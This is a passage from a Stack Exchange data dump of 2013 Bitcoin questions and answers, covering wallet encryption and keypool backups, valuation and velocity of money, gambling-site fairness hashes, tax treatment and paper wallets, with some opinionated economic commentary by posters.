assumption.&lt;/p&gt;&#xA;&lt;p&gt;One could make a wild guess and claim either 1% share with 1 velocity or 10% share with 10 velocity thus:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;code&gt;$200bln × 0.01 ÷ (4 × 1 x 21 million) = $23.8&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;$200bln × 0.1 ÷ (4 × 10 x 21 million) = $23.8&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Note we are dividing by M × V (inverted the &lt;em&gt;Quantity Theory of Money&lt;/em&gt; equation), because we want the exchange price in dollars, not the price of goods and services in bitcoin.&lt;/p&gt;&#xA;&lt;p&gt;It should be noted the &lt;em&gt;Quantity Theory of Money&lt;/em&gt; is probably not the main factor that will drive the Bitcoin's exchange price, because Bitcoin is predominantly &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/1895/what-bitcoin-esque-alternatives-are-there/8627#8627&quot;&gt;a speculation system&lt;/a&gt; and subject to &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/8606/would-bitcoin-be-destroyed-if-a-wealthy-organization-obtained-a-cpu-majority-for/8633#8633&quot;&gt;volatility manipulation&lt;/a&gt;. So (irrational) confidence will likely drive the value of Bitcoin (as is often the case with illiquid small cap “investments” or pseudo-pyramid schemes). In a speculative frenzy, the marketcap of Bitcoin could rise well above any realistic estimate of its &lt;em&gt;Quantity Theory of Money&lt;/em&gt; value.&lt;/p&gt;&#xA;" OwnerUserId="3441" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2013-03-23T21:03:37.113" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8642" PostTypeId="1" CreationDate="2013-03-23T17:01:24.137" Score="6" ViewCount="502" Body="&lt;p&gt;I'm a little confused by this, which i found in the technical documention:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;When wallet passphrase enrcyption becomes enabled, any unused keys&#xA;  from the keypool are flushed (marked as used) and new keys protected&#xA;  with encyption are added. For this reason, make a new backup of your&#xA;  wallet so that you will be able to recover the keys from the new key&#xA;  pool should access to your backups be necessary.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If I were to encrypt my wallet.dat and had a recent backup that was unencrypted do the keypool keys in the unencrypted backup become invalid?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I hadn't made any new transactions using the new encrypted wallet would I still be able to restore the backup using the unencrypted wallet backup or would this cause problems?&lt;/p&gt;&#xA;" OwnerUserId="3535" LastEditorUserId="2306" LastEditDate="2013-03-23T17:33:10.477" LastActivityDate="2013-03-23T19:21:43.147" Title="Do keypool keys from an unencrypted wallet backup become unusable once I encrypt my wallet?" Tags="|wallet|encryption|keypool|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8643" PostTypeId="2" ParentId="4172" CreationDate="2013-03-23T17:28:20.013" Score="1" Body="&lt;p&gt;The term “inflation” without the adjective “monetary” is generally accepted by the public to mean a decrease in purchasing power, so it is generally applicable to any market condition which can lower the purchasing power.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The single-word for monetary inflation is “debasement”. Bitcoin's debasement is preset to decline geometrically to asymptotic maximum of 21 million coins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So Bitcoin has both potential for general inflation forever, and also monetary inflation is assured for some time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is quite naive to claim that Bitcoin isn't &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/1163/how-can-determine-the-fundamental-theoretical-value-of-the-bitcoin-based-on-stea/8641#8641&quot;&gt;subject to inflation&lt;/a&gt;. An  (eventually) non-debased currency is &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/408/does-hoarding-really-hurt-bitcoin/8533#8533&quot;&gt;not superior long-term&lt;/a&gt;. Many gold bugs have this irrational delusion (I used to too) which &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/1895/what-bitcoin-esque-alternatives-are-there/8627#8627&quot;&gt;does not fit the unarguable facts of economics and history&lt;/a&gt; (you will need to click down the link hierarchy to get all the facts, it is not reasonable to copy all that into this answer).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Btw, &lt;a href=&quot;http://copute.com/edu/Intro%20to%20Computers.html#Why_Learn_Programming&quot; rel=&quot;nofollow noreferrer&quot;&gt;until 2033&lt;/a&gt; the biggest threat ahead &lt;a href=&quot;http://armstrongeconomics.com/2013/03/14/big-brother-his-whole-family-have-arrived/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;is not inflation&lt;/strong&gt;&lt;/a&gt;, rather it is confiscation of wealth a.k.a. capital controls and nearly certain world war due to the repeating 78 year boom&amp;amp;bust cycle of technological unemployment (prior 26 year bust was 1929 - 1955).&lt;/p&gt;&#xA;" OwnerUserId="3441" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.660" LastActivityDate="2013-03-23T17:28:20.013" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8645" PostTypeId="2" ParentId="8642" CreationDate="2013-03-23T17:29:24.440" Score="3" Body="&lt;p&gt;They don't become invalid. When you ask for a new address from the client, it will not choose any that it has already given you. This is for your privacy, because it makes it more difficult to associate those addresses with you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this case, we're making them as used for a different reason. To explain why, let's suppose the wallet didn't treat the previously unencrypted addresses differently. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;You generate a wallet.&lt;/li&gt;&#xA;&lt;li&gt;You read about the importance of backups, and make a backup to an external flash drive.&lt;/li&gt;&#xA;&lt;li&gt;You read about the importance of encrypting your wallet, and do so.&lt;/li&gt;&#xA;&lt;li&gt;For about 6 months, you use 3 new addresses every week.&lt;/li&gt;&#xA;&lt;li&gt;You get hacked, and you have the external flash drive plugged into your computer at the time.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Your wallet would be encrypted, but that wouldn't matter, because all of the keys that hold a balance are also sitting unencrypted on your flash drive.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In theory, you could just destroy all unencrypted copies of your wallet, but that seems more difficult than generating new keys and making a new backup, no?&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If I hadn't made any new transactions using the new encrypted wallet would I still be able to restore the backup using the unencrypted wallet backup or would this cause problems?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes, you could.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2013-03-23T17:34:24.887" LastActivityDate="2013-03-23T17:34:24.887" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8646" PostTypeId="2" ParentId="8629" CreationDate="2013-03-23T17:46:39.177" Score="0" Body="&lt;p&gt;There are currently no constraints against a higher confirmation rate; the confirmation rate was specifically set to about 10 minutes, and the network adjusts the difficulty so that there's a new block created about every 10 minutes.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I remember correctly, the confirmation rate was limited so that transactions would have time to propagate across the network, and so that the blockchain wouldn't get too large.&lt;/p&gt;&#xA;" OwnerUserId="3536" LastActivityDate="2013-03-23T17:46:39.177" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8647" PostTypeId="2" ParentId="8639" CreationDate="2013-03-23T17:48:53.180" Score="1" Body="&lt;p&gt;If Bitcoin becomes the predominant worldwide money system, the volatility due to speculative FX would greatly diminish. The problem is that it is not, and will not likely be the reserve currency any time soon (if ever).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can not think of any counter-measure within the current design of Bitcoin, except to exchange into dollars (or gold since we are in a gold bull cycle) for storing and only use Bitcoin for a short-term holding for transactions. However, many Bitcoiners ostensibly prefer to speculate on its appreciation and hold it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Every small cap currency has this problem, &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/1163/how-can-determine-the-fundamental-theoretical-value-of-the-bitcoin-based-on-stea/8641#8641&quot;&gt;because of economy-of-scale network effects&lt;/a&gt; they will always be measured against the reserve currency.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is why there was a U.S.A. Treasury official who was rumored to have quipped in reaction to some smaller country's protest, “it’s our currency, but your problem”.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the small cap currency has no choice but to try to make itself stable relative to the reserve currency, unless it just wants to be a small cap “investment” speculation. It may be &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/4172/are-bitcoins-really-immune-to-inflation/8643#8643&quot;&gt;impossible to maintain stability in all scenarios&lt;/a&gt;. For example, the Asian Crisis of late 1990s was caused by speculative capital flows, that stampeded to Europe to invest in speculative opportunities opened up by the creation of the Euro at the turn of this century.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is precisely why &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/1895/what-bitcoin-esque-alternatives-are-there/8627#8627&quot;&gt;I propose an alternative design&lt;/a&gt; for Bitcoin.&lt;/p&gt;&#xA;" OwnerUserId="3441" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:34.187" LastActivityDate="2013-03-24T01:48:28.080" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8648" PostTypeId="2" ParentId="8606" CreationDate="2013-03-23T18:46:31.820" Score="-1" Body="&lt;p&gt;If such an event occurred it would likely be recoverable from a technical standpoint, it's basically a matter of reverting to the pre-attack block chain.  A tiny microcosm happened recently:  &lt;a href=&quot;http://bitcoin.org/may15.html&quot; rel=&quot;nofollow&quot;&gt;http://bitcoin.org/may15.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The larger effect would be the market reaction and this would largely be a function of the grace of the recovery.&lt;/p&gt;&#xA;" OwnerUserId="3538" LastActivityDate="2013-03-23T18:46:31.820" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8649" PostTypeId="2" ParentId="7477" CreationDate="2013-03-23T18:55:02.677" Score="1" Body="&lt;h2&gt;Hoarding&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Bitcoin Days Destroyed can tell us the &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/6025/what-research-papers-cover-bitcoins-impact-on-central-banks-velocity-of-money/8634#8634&quot;&gt;percent of total coins are trading over any period of time&lt;/a&gt;, to the granularity (resolution) of a day. So for example, we can ask what percent of total coins have traded within the past day, or a specific day, week, month, year, or any period in the past.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So it can give us an indication of &lt;strong&gt;lower-bound&lt;/strong&gt; percent of hoarding and duration of hoarding, but it will &lt;strong&gt;always understate&lt;/strong&gt; the actual hoarding and duration, because due the anonymity there is no way to know if a Bitcoin transaction was a transfer to self.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Velocity of Money&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Velocity of money is calculated w.r.t. to a measure of total goods and services transacted (e.g. GDP), and due to anonymity there is no way to know in a P2P currency &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/1163/how-can-determine-the-fundamental-theoretical-value-of-the-bitcoin-based-on-stea/8641#8641&quot;&gt;which transactions were for goods and services&lt;/a&gt;. Thus Days Destroyed is an &lt;strong&gt;upper-bound&lt;/strong&gt; on the velocity of money, and will &lt;strong&gt;always overstate&lt;/strong&gt; the actual economic activity.&lt;/p&gt;&#xA;" OwnerUserId="3441" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:32.940" LastActivityDate="2013-03-23T19:17:21.457" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8650" PostTypeId="2" ParentId="8642" CreationDate="2013-03-23T19:21:43.147" Score="2" Body="&lt;p&gt;It is also recommended that immediately after encrypting that you then spend your coins that existed prior to encryption to a new address generated post-encryption.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That way if your old wallet backups were to fall in the wrong hands, your funds would still be safe.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you didn't do that, then your funds are still spendable from the wallet that was backed up prior to adding the passphrase encryption.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But as soon as you do any spend transaction in the wallet with encryption, the change will go to a new address that the wallet from the old backup doesn't know exists.  So essentially you should consider any backups made prior to the encryption step as being useless to you (but still possibly dangerous if someone else gets them).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So do yourself a favor, spend the funds to a new address immediately after encrypting (and performing proper backups), so that the old backup has no funds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just never forget your encryption passphrase though, and make sure to test that you can recover from your backups that you've made.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-03-23T19:21:43.147" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8651" PostTypeId="2" ParentId="845" CreationDate="2013-03-23T20:05:33.383" Score="5" Body="&lt;h2&gt;Graphing&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Bitcoin Days Destroyed weights the past dormancy of coins that have been transferred over any chosen period. The histogram of the percentage of Days Destroyed graphs distribution of dormancy over the measured period.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;https://en.bitcoin.it/wiki/Bitcoin_Days_Destroyed#Graph_of_Percentage_of_Bitcoin_Days_Destroyed&quot; rel=&quot;nofollow noreferrer&quot;&gt;graph is a histogram&lt;/a&gt; showing the percentage of total Days Destroyed from the measured period for each block. Thus it is a distribution of dormancy over the period, since block numbers are ascending forward in time.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Hoarding&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Bitcoin Days Destroyed can tell us the &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/6025/what-research-papers-cover-bitcoins-impact-on-central-banks-velocity-of-money/8634#8634&quot;&gt;percent of total coins are trading over any period of time&lt;/a&gt;, to the granularity (resolution) of a day. So for example, we can ask what percent of total coins have traded within the past day, or a specific day, week, month, year, or any period in the past.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So it can give us an indication of &lt;strong&gt;lower-bound&lt;/strong&gt; percent of hoarding and duration of hoarding, but it will &lt;strong&gt;always understate&lt;/strong&gt; the actual hoarding and duration, because due the anonymity there is no way to know if a Bitcoin transaction was a transfer to self.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Velocity of Money&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Velocity of money is calculated w.r.t. to a measure of total goods and services transacted (e.g. GDP), and due to anonymity there is no way to know in a P2P currency &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/1163/how-can-determine-the-fundamental-theoretical-value-of-the-bitcoin-based-on-stea/8641#8641&quot;&gt;which transactions were for goods and services&lt;/a&gt;. Thus Days Destroyed is an &lt;strong&gt;upper-bound&lt;/strong&gt; on the velocity of money, and will &lt;strong&gt;always overstate&lt;/strong&gt; the actual economic activity.&lt;/p&gt;&#xA;" OwnerUserId="3441" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.610" LastActivityDate="2013-03-23T20:05:33.383" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8652" PostTypeId="2" ParentId="242" CreationDate="2013-03-23T21:34:12.693" Score="1" Body="&lt;p&gt;I doubt such put options will ever become a very liquid and deep market, because &lt;em&gt;if they were&lt;/em&gt;, someone could in theory sell puts to go &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/4254/could-bitcoin-be-destroyed-if-an-entity-cornered-the-market/8632#8632&quot;&gt;destroy the market value via volatility manipulation&lt;/a&gt; or buy the &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/8606/would-bitcoin-be-destroyed-if-a-wealthy-organization-obtained-a-cpu-majority-for/8633#8633&quot;&gt;necessary Proof-of-Work control&lt;/a&gt;, both with the intention to destroy the value and interest in Bitcoin, and then collect profits on the put options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Otherwise, and if they did not add incredible instability in the form of risk (see my comments under David's Schwartz's answer), then they could be helpful in smoothing out the volatility of the value of Bitcoins. Because some longs would hedge their positions as they got nervous at nosebleed levels, and this provides liquidity if a crash occurs, because they take profits on the puts and repurchase coins at a lower price, possibly hedging those new purchases with new puts.&lt;/p&gt;&#xA;" OwnerUserId="3441" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.660" LastActivityDate="2013-03-23T21:40:14.453" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8653" PostTypeId="2" ParentId="8572" CreationDate="2013-03-23T22:34:12.997" Score="7" Body="&lt;p&gt;In terms of thwarting P2P currencies, in addition to those mentioned in makerofthings7's answer, I will add:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/8606/would-bitcoin-be-destroyed-if-a-wealthy-organization-obtained-a-cpu-majority-for/8633#8633&quot;&gt;Delaying transactions with only minority Proof-of-work share&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/8606/would-bitcoin-be-destroyed-if-a-wealthy-organization-obtained-a-cpu-majority-for/8633#comment11192_8612&quot;&gt;Forking the protocol with majority Proof-of-work share&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/4254/could-bitcoin-be-destroyed-if-an-entity-cornered-the-market/8632#8632&quot;&gt;Employing black budgets&lt;/a&gt; outside of public view.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/242/can-bitcoins-be-sold-short-or-are-there-put-options/8652#8652&quot;&gt;Selling put options to gain the money to attack with&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Using the law to keep &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/8639/how-can-bitcoins-be-used-for-daily-currency-if-their-value-changes-erratically/8647#8647&quot;&gt;the economy-of-scale too low for mainstream&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;NSA anonymously dumping on the market value (selling for dollars) the massive # of private keys they've harvested (not necessarily by mining).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Of all the answers so far, I think the most realistic attack will the use of the law. The next most likely is the manipulation of the value, such as how JPMorgue  et. al. have been profiting by &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/4254/could-bitcoin-be-destroyed-if-an-entity-cornered-the-market/8632#8632&quot;&gt;front running speculators&lt;/a&gt; and offloading (socializing) losses onto the public sector with bailouts. I consider these two threats as very plausible. The latter one will only be attractive to smaller manipulators until Bitcoin's marketcap is orders-of-magnitude larger.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for using P2P currencies to attack Wallstreet, I don't have any thoughts yet about that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regarding the claim in your question about being an antidote, the most powerful feature of P2P currencies is their anonymity. The problem is that some significant weaknesses may take precedence and limit adoption. The &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/8639/how-can-bitcoins-be-used-for-daily-currency-if-their-value-changes-erratically/8647#8647&quot;&gt;main weakness is the value is not stable&lt;/a&gt;. And now that FinCEN has published guidance that any conversions to other currencies make the customers &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/8486/do-usa-based-miners-need-to-register-with-fincen/8487#comment11202_8487&quot;&gt;personally liable&lt;/a&gt; for money transmitter reporting, the &lt;strong&gt;anonymity is illegal&lt;/strong&gt; &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/8486/do-usa-based-miners-need-to-register-with-fincen/8623#comment11203_8623&quot;&gt;if you can't hold the value in the system and only spend it on goods and service&lt;/a&gt;s.&lt;/p&gt;&#xA;" OwnerUserId="3441" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.660" LastActivityDate="2013-03-24T17:51:31.927" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8654" PostTypeId="2" ParentId="8611" CreationDate="2013-03-23T23:35:25.367" Score="2" Body="&lt;p&gt;If you view this from tax law, then in many jurisdictions will treat the generation of a coin as property transferred to the owner in exchange for services delivered. In the USA, this is reportable &lt;a href=&quot;http://www.irs.gov/publications/p525/ar02.html#en_US_2012_publink1000229234&quot; rel=&quot;nofollow noreferrer&quot;&gt;taxable income at the fair market value&lt;/a&gt; and this value becomes the tax basis. When the coin is spent for goods, services, or another currency, this will be a reportable capital gain or loss on the new value of the coin relative to the former tax basis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know of no country where it is illegal to create and own P2P currency. Even in China, AFAIK they only regulated the exchange of virtual currencies for legal tender as the FinCEN has recently done in the U.S.A.. Many people may not realize the 2nd order effect of this &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/8572/power-elite-thwarting-cryptocurrencies/8653#8653&quot;&gt;action in law thus makes anonymity largely illegal in Bitcoin&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Disclaimer: I am not giving legal nor tax advice, nor am I arguing the constitutionality of the income tax. Consult your own professional advisor.&lt;/p&gt;&#xA;" OwnerUserId="3441" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.583" LastActivityDate="2013-03-23T23:41:51.237" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8658" PostTypeId="2" ParentId="799" CreationDate="2013-03-24T02:57:27.640" Score="9" Body="&lt;p&gt;&lt;em&gt;&quot;Bitcoin-Qt/bitcoind version 0.7.1 and later supports a special import feature:  If the file &quot;bootstrap.dat&quot; is found in the bitcoin data directory, it will validate and import all blockchain data found in that file.&quot;&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The official torrent can be found at: &lt;a href=&quot;http://sourceforge.net/projects/bitcoin/files/Bitcoin/blockchain/&quot;&gt;http://sourceforge.net/projects/bitcoin/files/Bitcoin/blockchain/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Magnetic link: magnet:?xt=urn:btih:6fe493ba606847eac163baf35aae9db319735482&amp;amp;dn=bootstrap.dat&amp;amp;tr=udp://tracker.openbittorrent.com:80&amp;amp;tr=udp://tracker.publicbt.com:80&amp;amp;tr=udp://tracker.ccc.de:80&amp;amp;tr=udp://tracker.istole.it:80&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thread: &lt;a href=&quot;https://bitcointalk.org/index.php?topic=145386.0&quot;&gt;https://bitcointalk.org/index.php?topic=145386.0&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3547" LastActivityDate="2013-03-24T02:57:27.640" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8662" PostTypeId="1" CreationDate="2013-03-24T11:39:55.870" Score="5" ViewCount="1668" Body="&lt;p&gt;Doesn't the &lt;em&gt;block hash&lt;/em&gt; or the &lt;em&gt;transaction id&lt;/em&gt; provide enough entropy&#xA;(for example, by using &lt;code&gt;block_hash % 37&lt;/code&gt; to generate a random number between 0 and 36)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.blockchainroulette.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Block Chain Roulette&lt;/a&gt; determines the lucky number as a function of the hash of newest block in the chain: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Everytime a new block is created on the Bitcoin block chain, the roulette wheel is spun and a random number between 0 and 36 is generated... &lt;code&gt;random hash = hmac_sha512(secret hash, block hash)&lt;/code&gt; ...&#xA;  the random decimal integer is then multiplied by 37 and divided by (72057594037927935 + 1), decimal places dropped, resulting in a number between 0 and 36. 14 hex charecters are used because this represents a maximum random number of 72057594037927935, a number which is divisable equally by 37 (Or at least very very close to being equally divisable, when working with such large numbers). This ensures each number between 0 and 36 has an equal probability of being chosen. &lt;a href=&quot;http://www.blockchainroulette.com/secrets&quot; rel=&quot;nofollow noreferrer&quot;&gt;Continue reading...&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://satoshidice.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;SatoshiDice&lt;/a&gt; determines win/lose by using a pre-determined secret as well:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The lucky number used to determine the winner of games is simple. It is simply the first bytes of &lt;code&gt;hmac_sha512(secert,txid:out_idx)&lt;/code&gt;. That would be the secret string as the key and the transaction ID of your bet transaction as the data.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Can someone generate a transaction in such a way that its hash is known ahead of time?&lt;br&gt;&#xA;&lt;strong&gt;Edit&lt;/strong&gt;: It seems like the second part of the question has &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/8107/are-transaction-hashes-random&quot;&gt;already been answered&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3292" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.660" LastActivityDate="2020-07-02T12:58:51.930" Title="Why do transaction/blockchain based gambling sites use such complicated methods for proving fairness?" Tags="|hash|satoshidice|gambling|random|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8663" PostTypeId="1" CreationDate="2013-03-24T13:08:22.923" Score="11" ViewCount="7530" Body="&lt;p&gt;I have a handful of BTC that thanks to the recent interest are now worth me trying to get back into GBP that I can spend.  I've done a little research, but the only methods of converting my BTC into GBP that I can spend seem to involve hefty fees.  What's the cheapest way of converting 4-5 BTC into GBP?&lt;/p&gt;&#xA;" OwnerUserId="3553" LastEditorUserId="2306" LastEditDate="2013-04-01T08:30:17.100" LastActivityDate="2016-07-12T23:33:44.013" Title="Getting GBP back from Bitcoin?" Tags="|trading|transaction-fees|exchange-fees|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8665" PostTypeId="1" CreationDate="2013-03-24T15:32:43.290" Score="2" ViewCount="278" Body="&lt;p&gt;In mid 2012 I used bitaddress.org offline to generate address/private key pairs. I purchased bitcoins and had coins sent to these addresses. Do I have to move these bitcoins to keep them in the active chain? (I've read about the May 15 deadline to update the client, but never use a client).&lt;/p&gt;&#xA;" OwnerUserId="3558" LastActivityDate="2013-03-24T16:50:39.613" Title="Do I need to move bitcoins stored in a paper wallet?" Tags="|wallet|address|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8666" PostTypeId="2" ParentId="2834" CreationDate="2013-03-24T15:36:58.883" Score="-1" Body="&lt;p&gt;A less poetic version, so as &quot;to answer the question.&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin has the advantages of gold in electronic transferable form.  It is really neither deflationary nor inflationary.  In today's bizarro world of hyper money printing (this time is no different), stability is in relative terms deflationary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Printing money has for centuries been used as a weapon to accumulate vast wealth and power to a tiny group of people.  That power has been used to defeat governments, create wars, dictate social policy, create culture and on and on.  The trick of invading Iraq to install a regime bound to the US dollar, and leaving the cost to the American people in the form of debt bearing interest to the same beneficiaries of the war is as old as money printing itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This same small group controls most of the worlds money printing, trillions of dollars in assets and they own or influence every political process you can name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoins store of value is all about that.  It is inherently inversely reflective of that system: limited quantity, not easy to expand supply, widespread control, politically neutral, open, etc.  The greater the inflationary forces of money expansion, or if ever there is contraction in money supply (globally coordinated in early 80s, 22% interest rates!!) and deflation, Bitcoins stay stable.  If the money printers were just to leave Bitcoin alone, Bitcoins store of value, once it reaches stability will be something like gold's, inherently stable in real terms.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoiners are asleep at the switch.  They need to start thinking in terms of protecting and developing immunization for a war.  There is clear direct evidence of the money printers taking great nations to war in order to print money.  Bitcoin will get wiped out  as a store of value legally, technologically, culturally etc, if Bitcoiners dont get serious about it.   Market value Bitcoin about $700M.  US Federal reserve prints that much in about 6 hours, every day.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or we can just go back to being slaves.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Poetry is so much more succinct!  But not everybody gets it.  &lt;/p&gt;&#xA;" OwnerUserId="3526" LastActivityDate="2013-03-24T15:36:58.883" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8667" PostTypeId="2" ParentId="8665" CreationDate="2013-03-24T16:50:39.613" Score="3" Body="&lt;p&gt;Uh. No.. leave them be. Unless you need  to spend them.&lt;/p&gt;&#xA;" OwnerUserId="3559" LastActivityDate="2013-03-24T16:50:39.613" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
